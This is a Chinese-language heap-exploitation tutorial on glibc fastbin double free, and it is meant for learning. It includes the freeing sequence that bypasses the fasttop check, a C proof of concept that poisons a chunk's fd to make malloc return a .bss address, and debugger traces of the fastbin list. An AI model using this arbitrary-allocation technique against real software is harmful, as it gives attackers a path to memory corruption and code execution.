二進(jìn)制安全之堆溢出(系列)—— fastbin double free
本文是二進(jìn)制安全之堆溢出系列的第九章節(jié),主要介紹 fastbin double free。
原理
介紹
Fastbin Double Free 是指 fastbin 的 chunk 可以被多次釋放,因此可以在 fastbin 鏈表中存在多次。
這樣導(dǎo)致的后果是多次分配可以從 fastbin 鏈表中取出同一個(gè)堆塊,相當(dāng)于多個(gè)指針指向同一個(gè)堆塊。
原因
fastbin 的堆塊被釋放后 next_chunk 的 pre_inuse 位不會(huì)被清空
fastbin 在執(zhí)行 free 的時(shí)候僅驗(yàn)證了 main_arena 直接指向的塊,即鏈表指針頭部的塊。對(duì)于鏈表后面的塊,并沒(méi)有進(jìn)行驗(yàn)證。
if (__builtin_expect (old == p, 0))
? ? ?malloc_printerr ("double free or corruption (fasttop)");
流程

new(0x60) ?# 0
new(0x60) ?# 1
new(0x60) ?# 2
del(0) ? ? ?//指針未置空,可以再free 1次
del(1) ? ? ? ?//改變arena指針指向2,起中介作用,不然再次del(0)會(huì)報(bào)錯(cuò):double free
del(0)
new(0x60) ?# 0
edit(0) ? ? //change fd 2 target_addr,此時(shí)bin中還有一個(gè)1,兩種內(nèi)存相同,從而造成overlap
new(0x60) ?# 1
new(0x60) ?# 0 change fastbin arena fd 2 target_addr
new(0x60) ?# target
注意因?yàn)?chunk1 被再次釋放因此其 fd 值不再為 0 而是指向 chunk2
這時(shí)如果我們可以控制 chunk1 的內(nèi)容,便可以寫入其 fd 指針從而實(shí)現(xiàn)在我們想要的任意地址分配 fastbin 塊。
DEMO
#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
#include <string.h>
typedef struct _chunk
{
? ?long long pre_size;
? ?long long size;
? ?long long fd;
? ?long long bk;
} CHUNK,*PCHUNK;
CHUNK bss_chunk;
int main(void)
{
? ?void *chunk1,*chunk2,*chunk3;
? ?void *chunk_a,*chunk_b;
? ?bss_chunk.size=0x21;
? ?chunk1=malloc(0x10);
? ?chunk2=malloc(0x10);
? ?sleep(0);
? ?free(chunk1);
? ?free(chunk2);
? ?free(chunk1); //now:main_arena=>chunk1=>chun2=>chunk1
? ?sleep(0);
? ?chunk_a=malloc(0x10);
? ?sleep(0);
? ?*(long long *)chunk_a=&bss_chunk;
? ?sleep(0);
? ?malloc(0x10);
? ?sleep(0);
? ?malloc(0x10);
? ?sleep(0);
? ?chunk_b=malloc(0x10);
? ?sleep(0);
? ?printf("%p",chunk_b);
? ?return 0;
}
調(diào)試
構(gòu)造
double free
之后的鏈表
0x20: 0x602000 —? 0x602020 ?— 0x602000
此時(shí)鏈表的情況為:main_arena=>chunk1=>chun2=>chunk1
第一次將chunk1 malloc出去
0x20: 0x602020 —? 0x602000 ?— 0x602020 /* '‘ */`
修改chunk1的fd為bss_addr
0x602010: 0x0000000000601080 0x0000000000000000
0x601080 <bss_chunk>: 0x0000000000000000 0x0000000000000021
0x20: 0x602020 —? 0x602000 —? 0x601080 (bss_chunk) ?— 0x0
將chunk2 malloc出去
0x20: 0x602000 —? 0x601080 (bss_chunk) ?— 0x0
將chunk1 再次malloc出去
0x20: 0x601080 (bss_chunk) ?— 0x0
malloc chunk_b 即bss的堆塊
0x601090
打印出chunk_b的地址正是bss_chunk的數(shù)據(jù)區(qū)指針
總結(jié)
bss_chunk.size=0×21的原因:
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
? errstr = "malloc(): memory corruption (fast)";
errout:
? malloc_printerr (check_action, errstr, chunk2mem (victim));
? return NULL;
}
_int_malloc 會(huì)對(duì)欲分配位置的 size 域進(jìn)行驗(yàn)證,如果其 size 與當(dāng)前 fastbin 鏈表應(yīng)有 size 不符就會(huì)拋出異常。
